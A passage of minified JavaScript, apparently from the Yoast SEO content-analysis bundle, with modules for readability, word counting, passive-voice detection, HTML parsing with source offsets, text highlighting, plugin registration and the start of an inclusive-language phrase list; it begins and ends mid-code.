t.forEach((t=>t.matches.slice(0,r).forEach((t=>{e=e.replace(t,"")})))),e},o=function(e,t,r,n){const i=t.keyphraseForms.map((t=>(0,s.default)(e,t,r,n))),o=Math.min(...i.map((e=>e.count)));return e=a(e,i,o),[o,...t.synonymsForms.map((t=>{const o=t.map((t=>(0,s.default)(e,t,r,n))),l=Math.min(...o.map((e=>e.count)));return e=a(e,i,l),l}))].reduce(((e,t)=>e+t),0)}},96458:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,n.default)(e.getDate(),e.getDescription())};var s,n=(s=r(40231))&&s.__esModule?s:{default:s}},7045:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.hasTitle()?e.getTitleWidth():0}},48799:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=(0,s.default)(e.getLocale()),a=t.getHelper("getWordsCustomHelper"),o=t.getHelper("wordsCharacterCount"),l={ar:138,cn:158,de:179,en:228,es:218,fi:161,fr:195,he:187,it:188,nl:202,pl:166,pt:181,ru:184,sl:180,sv:199,tr:166},u=l[r],c={ja:357}[r];let d,h=(0,n.default)(e).count;c?(h=o(a(e.getText())),d=h/c):d=u?h/u:h/(Object.values(l).reduce(((e,t)=>e+t))/Object.keys(l).length);const f=(0,i.default)(e);return Math.ceil(d+.2*f)};var s=a(r(67404)),n=a(r(44518)),i=a(r(52948));function a(e){return e&&e.__esModule?e:{default:e}}},25969:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getHelper("memoizedTokenizer");let a=e.getText();return a=(0,n.default)(a),a=(0,i.filterShortcodesFromHTML)(a,e._attributes&&e._attributes.shortcodes),(0,s.default)(a,r)};var s=a(r(9862)),n=a(r(96908)),i=r(29866);function a(e){return e&&e.__esModule?e:{default:e}}},99074:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=new RegExp("(<video).*?(</video>)","igs");let r=e.getText().match(t);return null===r&&(r=[]),r.length}},53201:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getHelper("memoizedTokenizer");let s=e.getText();s=(0,a.default)(s),s=(0,o.filterShortcodesFromHTML)(s,e._attributes&&e._attributes.shortcodes);const l=(0,n.default)(s,r),u=t.getResearch("morphology");let h=l.map((e=>c(e,t,u)));h=h.filter((e=>0!==e.complexWords.length));const f=(0,i.default)(s);return{complexWords:h,percentage:d(h,f)}};var s=r(92819),n=u(r(9862)),i=u(r(1105)),a=u(r(96908)),o=r(29866),l=r(36478);function u(e){return e&&e.__esModule?e:{default:e}}const c=function(e,t,r){const n=t.getConfig("language"),a=t.getHelper("checkIfWordIsComplex"),o=t.getConfig("functionWords"),u=t.getConfig("wordComplexity"),c=t.getHelper("checkIfWordIsFunction"),d=(0,s.get)(t.getData("morphology"),n,!1);let h=(0,i.default)(e);const f=t.getHelper("matchWordCustomHelper"),p=(0,l.findTopicFormsInString)(r,e,!1,t.paper.getLocale(),f);h=h.filter((e=>!p.matches.includes(e))),h=h.filter((e=>!(c?c(e):o.includes(e))));const g={complexWords:[],sentence:e};return d?(h.forEach((e=>{a(u,e,d)&&g.complexWords.push(e)})),g):g},d=function(e,t){return+((0,s.flatMap)(e,(e=>e.complexWords)).length/t.length*100).toFixed(2)}},44518:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t=e.getText();return t=(0,n.default)(t),t=(0,i.filterShortcodesFromHTML)(t,e._attributes&&e._attributes.shortcodes),{text:t,count:(0,s.default)(t),unit:"word"}};var s=a(r(33870)),n=a(r(96908)),i=r(29866);function a(e){return e&&e.__esModule?e:{default:e}}},83937:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r{constructor(e,t){this._clauseText=e,this._auxiliaries=t,this._isPassive=!1,this._participles=[]}getClauseText(){return this._clauseText}isPassive(){return this._isPassive}getAuxiliaries(){return this._auxiliaries}setPassive(e){this._isPassive=e}setParticiples(e){this._participles=e}getParticiples(){return this._participles}serialize(){return{_parseClass:"Clause",clauseText:this._clauseText,auxiliaries:this._auxiliaries,isPassive:this._isPassive,participles:this._participles}}static parse(e){const t=new r(e.clauseText,e.auxiliaries);return t.setPassive(e.isPassive),t}}t.default=r},4446:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r{constructor(e,t,r){this._word=e,this._stem=t||e,this._occurrences=r||0}setWord(e){this._word=e}getWord(){return this._word}getStem(){return this._stem}setOccurrences(e){this._occurrences=e}getOccurrences(){return this._occurrences}serialize(){return{_parseClass:"ProminentWord",word:this._word,stem:this._stem,occurrences:this._occurrences}}static parse(e){return new r(e.word,e.stem,e.occurrences)}}t.default=r},18812:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r{constructor(e){this._sentenceText=e||"",this._isPassive=!1,this._clauses=[]}getSentenceText(){return this._sentenceText}isPassive(){return this._isPassive}setPassive(e){this._isPassive=e}getClauses(){return this._clauses}setClauses(e){this._clauses=e,this.setSentencePassiveness()}setSentencePassiveness(){const e=this.getClauses().filter((e=>!0===e.isPassive()));this.setPassive(e.length>0)}serialize(){return{_parseClass:"Sentence",sentenceText:this._sentenceText,isPassive:this._isPassive,clauses:this._clauses}}static parse(e){const t=new r(e.sentenceText);return t.setClauses(e.clauses),t.setPassive(e.isPassive),t}}t.default=r},62390:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"Clause",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"ProminentWord",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"Sentence",{enumerable:!0,get:function(){return i.default}});var s=a(r(83937)),n=a(r(4446)),i=a(r(18812));function a(e){return e&&e.__esModule?e:{default:e}}},15010:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return"<yoastmark class='yoast-text-mark'>"+e+"</yoastmark>"}},5262:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=(0,s.stripWordBoundariesStart)(e);let r="",i="";if(t!==e){const s=e.search((0,n.escapeRegExp)(t));r=e.substring(0,s)}const a=(0,s.stripWordBoundariesEnd)(t);if(a!==t){const e=t.search((0,n.escapeRegExp)(a))+a.length;i=t.substring(e)}return r+"<yoastmark class='yoast-text-mark'>"+a+"</yoastmark>"+i};var s=r(52731),n=r(92819)},84476:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"addMark",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"removeMarks",{enumerable:!0,get:function(){return s.default}});var s=i(r(78970)),n=i(r(15010));function i(e){return e&&e.__esModule?e:{default:e}}},52505:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);t.default=function(e){return e&&(0===e.length||e[0].hasPosition())?e:(0,s.uniqBy)(e,(function(e){return e.getOriginal()}))}},78970:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(new RegExp("<yoastmark[^>]*>","g"),"").replace(new RegExp("</yoastmark>","g"),"")}},87908:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r){let h=e.getText();h=h.replace(d.htmlEntitiesRegex,"#$1");let f=(0,n.default)((0,s.parseFragment)(h,{sourceCodeLocationInfo:!0}));return f.childNodes&&f.childNodes.length>0&&(0,u.default)(e,f),f=(0,l.filterBeforeTokenizing)(f),f=(0,i.default)(f,t),r&&(0,c.default)(f,r),(0,a.default)(f,o.default)};var s=r(37015),n=h(r(70734)),i=h(r(63596)),a=h(r(46705)),o=h(r(67929)),l=r(12045),u=h(r(85990)),c=h(r(24533)),d=r(33888);function h(e){return e&&e.__esModule?e:{default:e}}},7104:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"build",{enumerable:!0,get:function(){return n.default}});var s,n=(s=r(87908))&&s.__esModule?s:{default:s}},70734:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t){if("#text"===t.nodeName)return new o.Text(t);let r=[],l=!1;(0,a.isEmpty)(t.childNodes)||(r=t.childNodes.map(e),function(e){return!(u(e)||(0,i.default)(e)||c(e))}(t.nodeName)&&(r=(0,s.default)(r,t.sourceCodeLocation)),function(e,t){return u(e)&&t.some(((e,t,r)=>{const s=r.length-1!==t&&r[t+1];return"br"===e.name&&s&&"br"===s.name}))}(t.nodeName,r)&&(l=!0,r=(0,s.default)(r,t.sourceCodeLocation)));const d=(0,n.default)(t.attrs);if(u(t.nodeName))return new o.Paragraph(d,r,t.sourceCodeLocation,!1,l);if(c(t.nodeName)){const e=parseInt(t.nodeName[1],10);return new o.Heading(e,d,r,t.sourceCodeLocation)}return new o.Node(t.nodeName,d,r,t.sourceCodeLocation)};var s=l(r(38884)),n=l(r(54637)),i=l(r(33319)),a=r(92819),o=r(67330);function l(e){return e&&e.__esModule?e:{default:e}}function u(e){return"p"===e}function c(e){return["h1","h2","h3","h4","h5","h6"].includes(e)}},54637:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(90666))&&s.__esModule?s:{default:s};t.default=function(e){if(!e)return{};const t={};return e.forEach((({name:e,value:r})=>{"class"===e&&(r=(0,n.default)(r)),t[e]=r})),t}},67929:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.canBeChildOfParagraph=void 0;var s=r(59603);t.canBeChildOfParagraph=["code","kbd","math","q","samp","script","var","#comment","cite","form","map","noscript","output"];const n=[(0,s.elementHasClass)("yoast-table-of-contents"),(0,s.elementHasClass)("yoast-reading-time__wrapper"),(0,s.elementHasID)("breadcrumbs"),(0,s.elementHasClass)("elementor-button-wrapper"),(0,s.elementHasClass)("elementor-divider"),(0,s.elementHasClass)("elementor-spacer"),(0,s.elementHasClass)("elementor-custom-embed"),(0,s.elementHasClass)("elementor-icon-wrapper"),(0,s.elementHasClass)("elementor-icon-box-wrapper"),(0,s.elementHasClass)("elementor-counter"),(0,s.elementHasClass)("elementor-progress-wrapper"),(0,s.elementHasClass)("elementor-title"),(0,s.elementHasClass)("elementor-alert"),(0,s.elementHasClass)("elementor-soundcloud-wrapper"),(0,s.elementHasClass)("elementor-shortcode"),(0,s.elementHasClass)("elementor-menu-anchor"),(0,s.elementHasClass)("e-rating"),(0,s.elementHasName)("base"),(0,s.elementHasName)("blockquote"),(0,s.elementHasName)("canvas"),(0,s.elementHasName)("code"),(0,s.elementHasName)("head"),(0,s.elementHasName)("iframe"),(0,s.elementHasName)("input"),(0,s.elementHasName)("kbd"),(0,s.elementHasName)("link"),(0,s.elementHasName)("math"),(0,s.elementHasName)("meta"),(0,s.elementHasName)("meter"),(0,s.elementHasName)("noscript"),(0,s.elementHasName)("object"),(0,s.elementHasName)("portal"),(0,s.elementHasName)("pre"),(0,s.elementHasName)("progress"),(0,s.elementHasName)("q"),(0,s.elementHasName)("samp"),(0,s.elementHasName)("script"),(0,s.elementHasName)("slot"),(0,s.elementHasName)("style"),(0,s.elementHasName)("svg"),(0,s.elementHasName)("template"),(0,s.elementHasName)("textarea"),(0,s.elementHasName)("title"),(0,s.elementHasName)("var"),(0,s.elementHasName)("#comment"),(0,s.elementHasName)("cite"),(0,s.elementHasName)("form"),(0,s.elementHasName)("map"),(0,s.elementHasName)("noscript"),(0,s.elementHasName)("output")];t.default=n},38884:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=o(r(33319)),n=r(67330),i=r(92819),a=o(r(42036));function o(e){return e&&e.__esModule?e:{default:e}}function l(e){return e&&e.childNodes.length>0}const u=e=>{const[t]=e.childNodes.slice(0),[r]=e.childNodes.slice(-1);if((t.sourceCodeRange||t.sourceCodeLocation)&&(r.sourceCodeRange||r.sourceCodeLocation)){const s=t.sourceCodeRange?t.sourceCodeRange.startOffset:t.sourceCodeLocation.startOffset,n=r.sourceCodeRange?r.sourceCodeRange.endOffset:r.sourceCodeLocation.endOffset;e.sourceCodeLocation=new a.default({startOffset:s,endOffset:n})}};t.default=function(e,t={}){const r=[];let o={};if((0,i.isEmpty)(t)){const t=e[0],r=e[e.length-1];t&&r&&t.sourceCodeLocation&&r.sourceCodeLocation&&(o=new a.default({startOffset:t.sourceCodeLocation.startOffset,endOffset:r.sourceCodeLocation.endOffset}))}else o=new a.default({startOffset:t.startTag?t.startTag.endOffset:t.startOffset,endOffset:t.endTag?t.endTag.startOffset:t.endOffset});let c=n.Paragraph.createImplicit({},[],o);return e.forEach(((e,t,i)=>{const a=0!==t&&i[t-1],d=i.length-1!==t&&i[t+1];!(0,s.default)(e.name)||function(e){return"#text"===e.name&&e.value&&e.value.match(/^[\n\s]+$/g)}(e)||((e,t,r)=>{const s=t&&"br"===t.name,n=r&&"br"===r.name;return"br"===e.name&&(s||n)})(e,a,d)?(l(c)&&(u(c),e.sourceCodeLocation&&(o.startOffset=e.sourceCodeLocation.endOffset),r.push(c),c=n.Paragraph.createImplicit({},[],o)),r.push(e)):c.childNodes.push(e)})),l(c)&&(u(c),r.push(c)),r}},12045:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.filterBeforeTokenizing=function e(t){return n.canBeChildOfParagraph.includes(t.name)&&(t.childNodes=[]),(0,s.isEmpty)(t.childNodes)||t.childNodes.map(e),t};var s=r(92819),n=r(67929)},59603:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.elementHasClass=function(e){return t=>!!t.attributes.class&&t.attributes.class.has(e)},t.elementHasID=function(e){return t=>t.attributes.id===e},t.elementHasName=function(e){return t=>t.name===e}},46705:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t,r){if(!(function(e,t){return"#text"!==e.name&&t.some((t=>t(e)))}(t,r)||t.childNodes&&(t.childNodes=t.childNodes.filter((t=>e(t,r))),0===t.childNodes.length&&t instanceof s.Paragraph&&t.isImplicit)))return t};var s=r(67330)},35261:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r=-1){if(0===t.length||!e.sourceCodeLocation)return t;let s,a=r>=0?r:i(e),o=[];if(e.findAll){const t=e.findAll((e=>e.sourceCodeLocation),!0);t.length>0&&(o=function(e){const t=[];return e.forEach((e=>{if(n.canBeChildOfParagraph.includes(e.name))t.push(e.sourceCodeLocation);else{if(e.sourceCodeLocation.startTag){const r={startOffset:e.sourceCodeLocation.startTag.startOffset,endOffset:e.sourceCodeLocation.startTag.endOffset};"br"===e.name&&(r.endOffset=r.endOffset-1),t.push(r)}e.sourceCodeLocation.endTag&&t.push(e.sourceCodeLocation.endTag)}})),t.sort(((e,t)=>e.startOffset-t.startOffset)),t}(t))}return t.forEach((e=>{s=a+e.text.length,o.length>0&&(s=function(e,t,r){return e.forEach((e=>{e.startOffset>=t&&e.startOffset<r&&(r+=e.endOffset-e.startOffset)})),r}(o,a,s),a=function(e,t){return e.forEach((e=>{e.startOffset===t&&(t+=e.endOffset-e.startOffset)})),t}(o,a)),e.sourceCodeRange={startOffset:a,endOffset:s},a=s})),t};var s=r(67330),n=r(67929);const i=e=>e instanceof s.Paragraph&&e.isImplicit?e.sourceCodeLocation.startOffset:e.sourceCodeLocation.startTag.endOffset},90666:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return new Set(e.split(" "))}},33319:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;const r=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"];t.default=function(e){return r.includes(e)||"#text"===e}},85990:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=e._attributes.wpBlocks||[];n.lastIndex=0,a(r,e.getText());o(t,i(e),void 0)},t.updateBlocksOffset=a;var s=r(92819);const n=/<!--\s+wp:([a-z][a-z0-9_-]*\/)?([a-z][a-z0-9_-]*)\s+({(?:(?=([^}]+|}+(?=})|(?!}\s+\/?-->)[^])*)\5|[^]*?)}\s+)?(\/)?-->/g,i=e=>{const t=e._attributes.wpBlocks,r=[];return t&&t.length>0?(t.forEach((e=>{if(e.innerBlocks.length>0){const t=e.innerBlocks;r.push(e,...t)}else r.push(e)})),r):[]};function a(e,t){0!==e.length&&e.forEach(((r,s)=>{const i=n.exec(t);if("core/freeform"===r.name){const t=e[s-1];if(t){const e=t.endOffset+2;r.startOffset=e,r.endOffset=e+r.blockLength,r.contentOffset=e}else r.startOffset=0,r.endOffset=0+r.blockLength,r.contentOffset=0}else{if(null===i)return;const[e]=i,t=i.index,s=e.length;r.startOffset=t,r.endOffset=t+r.blockLength,r.contentOffset=t+s+1}r.innerBlocks&&r.innerBlocks.length>0&&a(r.innerBlocks,t)}))}function o(e,t,r){if(!e)return;let n=r;if(e.sourceCodeLocation&&!(0,s.isUndefined)(e.sourceCodeLocation.startOffset)){const r=t.find((t=>t.contentOffset===e.sourceCodeLocation.startOffset));r&&(n=r.clientId)}n&&(e.clientId=n),(e.childNodes||[]).forEach((e=>{e.attributes&&e.attributes.id&&e.childNodes&&e.childNodes.length>3&&(e.childNodes[0].attributeId=e.attributes.id,e.childNodes[0].isFirstSection=!0,e.childNodes[2].attributeId=e.attributes.id,e.childNodes[2].isFirstSection=!1),o(e,t,n)}))}},63596:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(67330),i=(s=r(35261))&&s.__esModule?s:{default:s},a=r(33888);t.default=function e(t,r){return(t instanceof n.Paragraph&&"p-overarching"!==t.name||t instanceof n.Heading)&&(t.sentences=function(e,t){let r=t.splitIntoSentences(e.innerText());return r=(0,i.default)(e,r),r.map((r=>(r=function(e,t,r){return t.tokens=r.splitIntoTokens(t),t.tokens=(0,i.default)(e,t.tokens,t.sourceCodeRange.startOffset),t}(e,r,t),a.hashedHtmlEntities.forEach(((e,t)=>{const s=new RegExp(t,"g");r.text=r.text.replace(s,e),r.tokens.map((t=>(t.text=t.text.replace(s,e),t)))})),r)))}(t,r)),t.childNodes&&(t.childNodes=t.childNodes.map((t=>e(t,r)))),t}},49781:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(99286)),n=a(r(82615)),i=a(r(7337));function a(e){return e&&e.__esModule?e:{default:e}}const o=/^\s+$/;t.default=class{constructor(e){this.researcher=e}splitIntoSentences(e){const t=this.researcher.getHelper("memoizedTokenizer")(e,!1);return o.test(t[t.length-1])&&t.pop(),t.map((function(e){return new s.default(e)}))}splitIntoTokens(e){const t=e.text,r=this.researcher.getHelper("splitIntoTokensCustom");return r?r(t).map((e=>new n.default(e))):(0,i.default)(t).map((e=>new n.default(e)))}}},71927:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(81056))&&s.__esModule?s:{default:s};class i extends n.default{constructor(e,t={},r=[],s={}){super(`h${e}`,t,r,s),this.level=e}}t.default=i},81056:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(93078),i=(s=r(42036))&&s.__esModule?s:{default:s},a=r(92819);t.default=class{constructor(e,t={},r=[],s={}){this.name=e,this.attributes=t,this.childNodes=r,(0,a.isEmpty)(s)||(this.sourceCodeLocation=new i.default(s))}findAll(e,t=!1){return(0,n.findAllInTree)(this,e,t)}innerText(){return(0,n.innerText)(this)}}},66741:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(81056))&&s.__esModule?s:{default:s};class i extends n.default{constructor(e={},t=[],r={},s=!1,n=!1){super(n?"p-overarching":"p",e,t,r),this.isImplicit=s}static createImplicit(e={},t=[],r={}){return new i(e,t,r,!0)}}t.default=i},99286:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=class{constructor(e){this.text=e,this.tokens=[],this.sourceCodeRange={}}}},42036:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=class{constructor(e){e.startTag&&(this.startTag={startOffset:e.startTag.startOffset,endOffset:e.startTag.endOffset}),e.endTag&&(this.endTag={startOffset:e.endTag.startOffset,endOffset:e.endTag.endOffset}),this.startOffset=e.startOffset,this.endOffset=e.endOffset}}},76342:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(42036))&&s.__esModule?s:{default:s};t.default=class{constructor(e){this.name="#text",this.value=e.value,this.sourceCodeRange=new n.default({startOffset:e.sourceCodeLocation.startOffset,endOffset:e.sourceCodeLocation.endOffset})}}},82615:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(58677);t.default=class{constructor(e,t={}){this.text=(0,s.normalizeSingle)(e),this.sourceCodeRange=t}}},67330:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"Heading",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"Node",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"Paragraph",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"Text",{enumerable:!0,get:function(){return a.default}});var s=o(r(81056)),n=o(r(71927)),i=o(r(66741)),a=o(r(76342));function o(e){return e&&e.__esModule?e:{default:e}}},45613:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t,r,s=!1){const n=[];return t.childNodes?(t.childNodes.forEach((t=>{r(t)?(n.push(t),s&&n.push(...e(t,r,s))):n.push(...e(t,r,s))})),n):n}},93078:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"findAllInTree",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"innerText",{enumerable:!0,get:function(){return n.default}});var s=i(r(45613)),n=i(r(41225));function i(e){return e&&e.__esModule?e:{default:e}}},41225:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function e(t){let r="";return(0,s.isEmpty)(t.childNodes)||t.childNodes.forEach((t=>{"#text"===t.name?r+=t.value:"br"===t.name?r+="\n":r+=e(t)})),r};var s=r(92819)},20019:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(92819),i=(s=r(62887))&&s.__esModule?s:{default:s};t.default=class{constructor(e){this.app=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this.customTests=[],setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return"string"!=typeof e?(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1):(0,n.isUndefined)(t)||"object"==typeof t?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1)}_ready(e){return"string"!=typeof e?(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1):(0,n.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0)}_reloaded(e){return"string"!=typeof e?(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1):(0,n.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.app.refresh(),!0)}_registerModification(e,t,r,s){if("string"!=typeof e)return console.error("Failed to register modification for plugin "+r+". Expected parameter `modification` to be a string."),!1;if("function"!=typeof t)return console.error("Failed to register modification for plugin "+r+". Expected parameter `callable` to be a function."),!1;if("string"!=typeof r)return console.error("Failed to register modification for plugin "+r+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(r))return console.error("Failed to register modification for plugin "+r+". The integration has not finished loading yet."),!1;const i={callable:t,origin:r,priority:"number"==typeof s?s:10};return(0,n.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(i),!0}_registerTest(){console.error("This function is deprecated, please use _registerAssessment")}_registerAssessment(e,t,r,s){if(!(0,n.isString)(t))throw new i.default("Failed to register test for plugin "+s+". Expected parameter `name` to be a string.");if(!(0,n.isObject)(r))throw new i.default("Failed to register assessment for plugin "+s+". Expected parameter `assessment` to be a function.");if(!(0,n.isString)(s))throw new i.default("Failed to register assessment for plugin "+s+". Expected parameter `pluginName` to be a string.");return t=s+"-"+t,e.addAssessment(t,r),!0}_pollLoadingPlugins(e){e=(0,n.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.app.pluginsLoaded()):e>=this.preloadThreshold?this._pollTimeExceeded():(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,n.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,n.forEach)(this.plugins,(function(e,t){(0,n.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])})),this.loaded=!0,this.app.pluginsLoaded()}_applyModifications(e,t,r){let s=this.modifications[e];return s instanceof Array&&s.length>0&&(s=this._stripIllegalModifications(s),s.sort((function(e,t){return e.priority-t.priority})),(0,n.forEach)(s,(function(s){const n=(0,s.callable)(t,r);typeof n==typeof t?t=n:console.error("Modification with name "+e+" performed by plugin with name "+s.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_addPluginTests(e){this.customTests.map((function(t){this._addPluginTest(e,t)}),this)}_addPluginTest(e,t){e.addAnalysis({name:t.name,callable:t.analysis}),e.analyzeScorer.addScoring({name:t.name,scoring:t.scoring})}_stripIllegalModifications(e){return(0,n.forEach)(e,function(t,r){!1===this._validateOrigin(t.origin)&&delete e[r]}.bind(this)),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,n.isUndefined)(this.plugins[e])}}},9017:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(58677),i=r(29866);t.default=class{getResult(e,t){throw"The method getResult is not implemented"}isApplicable(e,t){return!0}hasEnoughContentForAssessment(e,t=50){let r=e.getText();return r=(0,i.removeHtmlBlocks)(r),r=(0,i.filterShortcodesFromHTML)(r,e._attributes&&e._attributes.shortcodes),(0,n.sanitizeString)(r).length>=t}formatResultText(e,t,r){return(0,s.sprintf)(e,t,r,"</a>")}}},96682:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=d(r(73054)),a=d(r(41054)),o=d(r(15010)),l=r(33140),u=r(58677),c=r(88626);function d(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor({identifier:e,nonInclusivePhrases:t,inclusiveAlternatives:r,score:s,feedbackFormat:i,learnMoreUrl:a,rule:o,ruleDescription:u,caseSensitive:d,category:h}){this.identifier=e,this.nonInclusivePhrases=t,this.inclusiveAlternatives=r,(0,n.isString)(this.inclusiveAlternatives)&&(this.inclusiveAlternatives=[this.inclusiveAlternatives]),this.score=s,this.feedbackFormat=i,this.learnMoreUrl=(0,l.createAnchorOpeningTag)(a),this.rule=o||c.includesConsecutiveWords,this.ruleDescription=u,this.caseSensitive=d||!1,this.category=h}isApplicable(e,t){const r=t.getResearch("sentences"),s=e.getTextTitle();return r.push(s),this.foundPhrases=[],r.forEach((e=>{let t=(0,u.getWords)(e,"\\s",!1);this.caseSensitive||(t=t.map((e=>e.toLocaleLowerCase())));const r=this.nonInclusivePhrases.find((e=>this.rule(t,(0,u.getWords)(e,"\\s",!1)).length>=1));r&&this.foundPhrases.push({sentence:e,phrase:r})})),this.foundPhrases.length>=1}getResult(){const e=(0,s.sprintf)("%1$sLearn more.%2$s",this.learnMoreUrl,"</a>"),t=(0,s.sprintf)(this.feedbackFormat,this.foundPhrases[0].phrase,...this.inclusiveAlternatives),r=new i.default({score:this.score,text:`${t} ${e}`});return r.setIdentifier(this.identifier),r.setHasMarks(!0),r}getMarks(){return this.foundPhrases?this.foundPhrases.map((e=>new a.default({original:e.sentence,marked:(0,o.default)(e.sentence)}))):[]}}},46176:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(78261),i=r(35946),a=r(17864),o=r(64948),l=r(88626),u=r(28045),c=(s=r(77965))&&s.__esModule?s:{default:s},d=r(29700);const h=[{identifier:"seniorCitizen",nonInclusivePhrases:["senior citizen"],inclusiveAlternatives:["<i>older person, older citizen</i>","<i>person older than 70</i>"],score:u.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,i.specificAgeGroup].join(" ")},{identifier:"seniorCitizens",nonInclusivePhrases:["senior citizens"],inclusiveAlternatives:["<i>older people, older citizens</i>","<i>people older than 70</i>"],score:u.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,i.specificAgeGroup].join(" ")},{identifier:"agingDependants",nonInclusivePhrases:["aging 